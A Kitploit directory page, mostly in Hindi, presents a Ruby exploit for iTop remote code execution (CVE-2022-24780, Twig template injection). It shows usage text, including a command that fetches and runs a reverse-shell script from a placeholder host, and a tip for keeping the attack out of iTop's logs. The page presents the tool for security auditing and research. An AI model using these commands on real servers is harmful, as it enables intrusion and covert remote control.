Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
exploit-CVE-2022-24780 — iTop < 2.7.6 - (प्रमाणित) दूरस्थ कमांड निष्पादन | Kitploit
उपकरण/GitHubGitHub/acceis/exploit-cve-2022-24780
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubacceis/exploit-cve-2022-24780

exploit-CVE-2022-24780

iTop < 2.7.6 - (प्रमाणित) दूरस्थ कमांड निष्पादन

रिपॉजिटरी देखें
643 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

iTop RCE via SSTI - CVE-2022-24780 शोषण

iTop < 2.7.6 - (प्रमाणित) दूरस्थ कमांड निष्पादन

CVE-2022-24780 के लिए शोषण।

[EDB-TODO] [PacketStorm] [WLB-2022050075]

उपयोग

root@kitploit:~
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution

Usage:
  exploit.rb full <url> <username> <password> <cmd> [--debug]
  exploit.rb light <url> <username> <password> <cmd> [--debug]
  exploit.rb -h | --help

  full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
  light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <username>  iTop portal username
  <password>  iTop portal user password
  <cmd>       Command to execute on the target
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
  exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'

प्रकार

शोषण का पूर्ण प्रकार Watir का उपयोग करता है, जो Selenium द्वारा संचालित वेब ब्राउज़र का उपयोग करके उपयोगकर्ता ब्राउज़िंग का अनुकरण करता है। यह उपयोगकर्ता जानकारी को संरक्षित करने के लिए आवश्यक है। शोषण पोर्टल उपयोगकर्ता प्रोफ़ाइल पर उपयोगकर्ता जानकारी को संशोधित करने के लिए उपयोग किए जाने वाले फ़ॉर्म के एक उप-भाग में SSTI पेलोड इंजेक्ट करता है। जबकि कुछ मान हार्डकोड किए जा सकते हैं या HTML से पुनर्प्राप्त किए जा सकते हैं, अन्य (फ़ोन, स्थान, कार्य) जावास्क्रिप्ट के माध्यम से गतिशील रूप से लोड किए जाते हैं और HTML में इंजेक्ट किए जाते हैं। इसलिए शोषण को विनाशकारी न बनाने के लिए, उन मानों को पुनर्प्राप्त करने में सक्षम होने के लिए जावास्क्रिप्ट को निष्पादित करना आवश्यक है।

शोषण का हल्का प्रकार इतना ध्यान नहीं रखता है और इसके बजाय कुछ उपयोगकर्ता जानकारी फ़ील्ड (फ़ोन, स्थान, कार्य) पर विनाशकारी रूप से शून्य मान सेट कर देगा। हालांकि यह प्रकार निष्पादित करने में तेज़ है, कम निर्भरता की आवश्यकता है, कोई जावास्क्रिप्ट निष्पादित नहीं करेगा, और X वातावरण की आवश्यकता नहीं है (Watir को वेब ब्राउज़र चलाने के लिए इसकी आवश्यकता है)।

आवश्यकताएँ

संक्षेप में: सभी bundle install स्थापित करें

पूर्ण प्रकार

  • httpx
  • docopt.rb
  • watir
  • webdrivers

जेम का उपयोग करने का उदाहरण:

root@kitploit:~
gem install httpx docopt watir webdrivers

हल्का प्रकार

  • httpx
  • docopt.rb
  • Nokogiri

जेम का उपयोग करने का उदाहरण:

root@kitploit:~
gem install httpx docopt nokogiri

सीमाएँ

डबल कोट्स (") या बैकस्लैश (\) वाले पेलोड का उपयोग करने की अनुशंसा नहीं की जाती है क्योंकि पेलोड JSON में इंजेक्ट किया जाता है।

कमजोर सॉफ़्टवेयर का Docker परिनियोजन

चेतावनी: यह कंटेनर उत्पादन उपयोग के लिए उपयुक्त नहीं है!

vbkunin/itop:2.7.4 का उपयोग करते हुए - स्रोत - डॉकर हब

root@kitploit:~
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4

संदर्भ

  • लक्ष्य सॉफ़्टवेयर: iTop
    • होमपेज: https://www.itophub.io/
    • विक्रेता: https://www.combodo.com/itop
    • ऑनलाइन डेमो: https://www.combodo.com/itop-access-to-the-demonstration
    • स्रोत:
      • https://github.com/Combodo/iTop
      • https://sourceforge.net/projects/itop/files/itop/
    • कमजोर संस्करण:
      • 2.x शाखा: < 2.7.6
      • 3.x शाखा: < 3.0.0 (जैसे 3.0.0-beta-7312)
    • पैच:
      • https://github.com/Combodo/iTop/commit/b6fac4b411b8d145fc30fa35c66b51243eafd06b
      • https://github.com/Combodo/iTop/commit/eb2a615bd28100442c7f6171707bb40884af2305
      • https://github.com/Combodo/iTop/commit/93f273a28778e5da8e51096f021d2dc1adbf4ef3
    • सलाह:
      • https://www.opencve.io/cve/CVE-2022-24780
      • https://github.com/Combodo/iTop/security/advisories/GHSA-v97m-wgxq-rh54
      • https://attackerkb.com/topics/tcUqij2rjR/cve-2022-24780

यह कमजोरी Markus KRELL द्वारा पाई गई।

खोजकर्ता द्वारा कमजोरी का विश्लेषण:

  • iTop – Template Injection inside customer Portal

अस्वीकरण

ACCEIS किसी भी अवैध गतिविधि को बढ़ावा या प्रोत्साहित नहीं करता है, इस रिपॉजिटरी द्वारा प्रदान की गई सभी सामग्री केवल अनुसंधान, शैक्षिक और खतरे का पता लगाने के उद्देश्यों के लिए है।

अनुसंधान

शोषण

एक सुरक्षा ऑडिटर (या किसी अन्य व्हाट हैट भूमिका) के रूप में, एक ओर आप पहचाने गए एप्लिकेशन के संस्करण संख्या के आधार पर सैद्धांतिक कमजोरी की प्रभावी व्यावहारिक शोषणीयता को सत्यापित करने के लिए एक शोषण स्क्रिप्ट चलाना चाहते हैं, लेकिन दूसरी ओर आप चाहते हैं कि यह बिना किसी विनाशकारी कार्रवाई के ठीक से किया जाए ताकि ग्राहक एप्लिकेशन उसी स्थिति में रहे जैसा आपने पहली बार पाया था।

उदाहरण के लिए, यह शोषण उपयोगकर्ता प्रोफ़ाइल पृष्ठ पर होता है, इसलिए उपयोगकर्ता से पहले से भरी जानकारी वाला एक फ़ॉर्म है: पहला नाम, नाम, संगठन आईडी, ईमेल, फ़ोन, स्थान आईडी, कार्य, प्रबंधक आईडी। हमले के काम करने के लिए, आपको बस कमजोर फ़ील्ड को ओवरराइड करना होगा और दूसरों को शून्य मान या यादृच्छिक मान से भरना होगा यदि वे आवश्यक हैं। शोषण का हल्का प्रकार यही कर रहा है। लेकिन ऐसा करने से आप उस उपयोगकर्ता की वास्तविक जानकारी को नष्ट कर देंगे, यह परीक्षण वातावरण में समस्याग्रस्त नहीं है, हालांकि यदि आप उत्पादन वातावरण में हैं तो यह एक वास्तविक समस्या है। एक ब्लैक हैट इन सब की परवाह नहीं करेगा, लेकिन एक व्हाट हैट के रूप में हमें डेटा को संरक्षित करना होगा। इसलिए समाधान वास्तविक डेटा प्राप्त करना और इसे हमारे POST अनुरोध पर पुनः उपयोग करना है।

क्लासिकल वेब एप्लिकेशन पर, आपको अक्सर कमजोर एंडपॉइंट को लक्षित करने वाले सही पैरामीटर के साथ सीधे एक POST अनुरोध तैयार करना होता है। कभी-कभी आपको सत्र/कुकीज़, रीडायरेक्शन, कुछ पिछली स्थितियों को संभालने की आवश्यकता हो सकती है जो आवश्यक हो सकती हैं, कुछ आईडी या एंटी-सीएसआरएफ टोकन प्राप्त करना हो सकता है, लेकिन यह सब बहुत सीधा है और लगभग किसी भी भाषा में किसी भी HTTP लाइब्रेरी के साथ प्राप्त किया जा सकता है।

वास्तविक डेटा प्राप्त करने के लिए, जब फ़ॉर्म में डेटा निम्न से आता है:

  • सर्वर प्रतिक्रिया, आपको बस पेज को स्क्रैप करना होगा और HTML पार्स करना होगा;
  • एक XHR जो एक API को बनाया जाता है और डेटा को जावास्क्रिप्ट द्वारा HTML में बदल दिया जाता है, आपको जावास्क्रिप्ट की आवश्यकता नहीं है, आप स्वयं डेटा प्राप्त करने के लिए API पर एक और POST अनुरोध बना सकते हैं।

यह कुछ आधुनिक वेब एप्लिकेशन पर थोड़ा मुश्किल होने लगता है जहां जटिल जावास्क्रिप्ट जोड़तोड़ से कई मान सेट किए जाते हैं। यहां आप केवल HTML पार्स नहीं कर सकते या REST API का अनुरोध नहीं कर सकते, आप जावास्क्रिप्ट फ़ाइल से सीधे मान प्राप्त नहीं कर सकते या कई पंक्तियों को पार्स करके मान की पुनर्गणना नहीं कर सकते। जब JS गणना इतनी जटिल होती है, कई अलग-अलग JS फ़ाइलों में होती है या जावास्क्रिप्ट स्रोत कोड अस्पष्ट या पैक किया जाता है, तो तंत्र को रिवर्स इंजीनियर करने और मान निकालने में बहुत अधिक प्रयास और समय लगेगा। उस स्थिति में, आपको वास्तव में एप्लिकेशन से जावास्क्रिप्ट के साथ इंटरैक्ट करना होगा। लेकिन एक क्लासिक शोषण स्क्रिप्ट जिसे केवल HTTP लाइब्रेरी की आवश्यकता है, वह अकेले ऐसा नहीं कर सकती!

कमजोरी का मैन्युअल रूप से शोषण करना आसान है, आप बस एप्लिकेशन ब्राउज़ करते हैं, अपने ब्राउज़र को सभी जावास्क्रिप्ट संभालने देते हैं, बस Burp Suite जैसे इंटरसेप्टिंग प्रॉक्सी सेट करते हैं ताकि अनुरोध भेजने से पहले उसे संशोधित कर सकें और आप ठीक हैं। लेकिन स्वचालित तरीके से ऐसा करना बहुत कठिन है। जावास्क्रिप्ट के साथ इंटरैक्ट करने और निष्पादित करने के लिए हमें एक हेडलेस ब्राउज़र (जिसे डिस्प्ले वातावरण की आवश्यकता हो भी सकती है और नहीं भी) और एक उपयोगकर्ता अनुकरण लाइब्रेरी की आवश्यकता है। सौभाग्य से पहले से ही उन्नत कार्यात्मक परीक्षण लाइब्रेरी हैं जिनका उपयोग हम हेडलेस ब्राउज़र चलाने के लिए कर सकते हैं। सबसे प्रसिद्ध Selenium है, लेकिन Cypress भी है। परीक्षण सूट के बाहर, ऐसी लाइब्रेरी भी हैं जो अधिक सामान्य ऑटोमेशन प्रदान करती हैं जैसे Playwright या puppeteer। दोनों ही मामलों में, यह एक DSL का उपयोग करता है जो उपयोगकर्ता व्यवहार का अनुकरण करता है जैसे कि कोई उपयोगकर्ता एप्लिकेशन का उपयोग कर रहा हो, इसलिए हम जो कोड लिखेंगे वह ब्राउज़र को "यहां क्लिक करें", "नाम फ़ील्ड में अपना नाम दर्ज करें", "इस लिंक पर क्लिक करें" आदि बताएगा। परीक्षण फ्रेमवर्क की सीमा यह है कि वे आपको केवल वही करने देते हैं जो एक सामान्य उपयोगकर्ता करेगा, उदाहरण के लिए एक सामान्य उपयोगकर्ता स्क्रिप्ट टैग या छिपे हुए फ़ील्ड की सामग्री नहीं लाता है, इसलिए आप भी ऐसा नहीं कर सकते। वे मान प्राप्त करने और उनकी तुलना अपेक्षित मान से करने के लिए भी होते हैं, न कि उन्हें सेट करने के लिए। साथ ही, हेडलेस ब्राउज़र का उपयोग करके निष्पादन बहुत धीमा है और कुछ बोझिल DSL लेखन की आवश्यकता हो सकती है। इसलिए अंत में हम हेडलेस ब्राउज़र और टेस्ट फ्रेमवर्क का जितना संभव हो उतना कम उपयोग करना चाहते हैं।

शोषण का हल्का प्रकार एप्लिकेशन से कनेक्ट करता है, उपयोगकर्ता प्रोफ़ाइल फ़ॉर्म लाकर वे सभी मान प्राप्त करता है जो वह प्राप्त कर सकता है और फ़ोन नंबर, स्थान आईडी और कार्य के लिए रिक्त मानों का उपयोग करता है, फिर शोषण भेजता है।

हालांकि शोषण का पूर्ण प्रकार एप्लिकेशन से कनेक्ट करता है, उपयोगकर्ता प्रोफ़ाइल फ़ॉर्म लाकर वे सभी मान प्राप्त करता है जो वह प्राप्त कर सकता है, फिर हेडलेस ब्राउज़र का उपयोग करके कनेक्ट करता है, उपयोगकर्ता प्रोफ़ाइल फ़ॉर्म लाकर उन 3 मानों को प्राप्त करता है जो जावास्क्रिप्ट से सेट किए गए थे, फिर शोषण भेजता है। यह लगभग वही प्रक्रिया है सिवाय इसके कि हम जावास्क्रिप्ट में भरे गए डेटा फ़ील्ड के लिए शून्य मानों का उपयोग नहीं करते हैं बल्कि वास्तव में उन्हें एक हेडलेस ब्राउज़र से प्राप्त करते हैं जो उन मानों को भरने वाले जावास्क्रिप्ट को निष्पादित करेगा ताकि उन्हें प्राप्त किया जा सके। तकनीकी रूप से केवल हेडलेस ब्राउज़र का उपयोग करके 100% शोषण लिखना भी संभव है लेकिन हमें पहले चर्चा की गई सीमाओं का सामना करना होगा, यही कारण है कि मैंने हेडलेस ब्राउज़र के न्यूनतम उपयोग के साथ हाइब्रिड दृष्टिकोण चुना।

कमजोरी

कमजोरी CVE-2022-24780 के खोजकर्ता, Markus KRELL, ने एक विस्तृत विश्लेषण ब्लॉग लेख लिखा: iTop – Template Injection inside customer Portal.

संक्षेप में, कमजोरी उपयोगकर्ता प्रोफ़ाइल बदलने पर होती है। जब उपयोगकर्ता अपनी जानकारी अपडेट करने के लिए फ़ॉर्म सबमिट करता है तो यह बैकएंड के लिए विभिन्न मेटाडेटा वाला एक बड़ा JSON ऑब्जेक्ट भेजेगा लेकिन अपडेट करने के लिए उपयोगकर्ता डेटा JSON formproperties.layout.content उप-नोड में XHTML के रूप में संग्रहीत होता है। लेकिन Markus ने स्रोत कोड में देखा कि formproperties.layout.type XHTML या Twig दोनों को स्वीकार कर सकता है। बेशक जब उसने Twig का उल्लेख देखा तो उसने तुरंत संभावित SSTI के बारे में सोचा। इसलिए उसने एक कमजोर फ़ील्ड की पहचान करने के लिए सामग्री में प्रत्येक फ़ील्ड की कोशिश की और पाया कि data-field-id और data-field-flags विशेषताएँ कमजोर हैं। फिर क्लासिकल Twig टेम्पलेट इंजेक्शन पेलोड का उपयोग करना संभव है। फिर भी, बोनस के रूप में उसने पाया कि अभिव्यक्ति में |join(',') जोड़ने से परिणामी ऐरे को स्ट्रिंग में परिवर्तित किया जा सकता है और ऐसा करके iTop के लॉग में प्रवेश से बचा जा सकता है ताकि हमले को अधिक गुप्त बनाया जा सके।

टूल डाउनलोड करें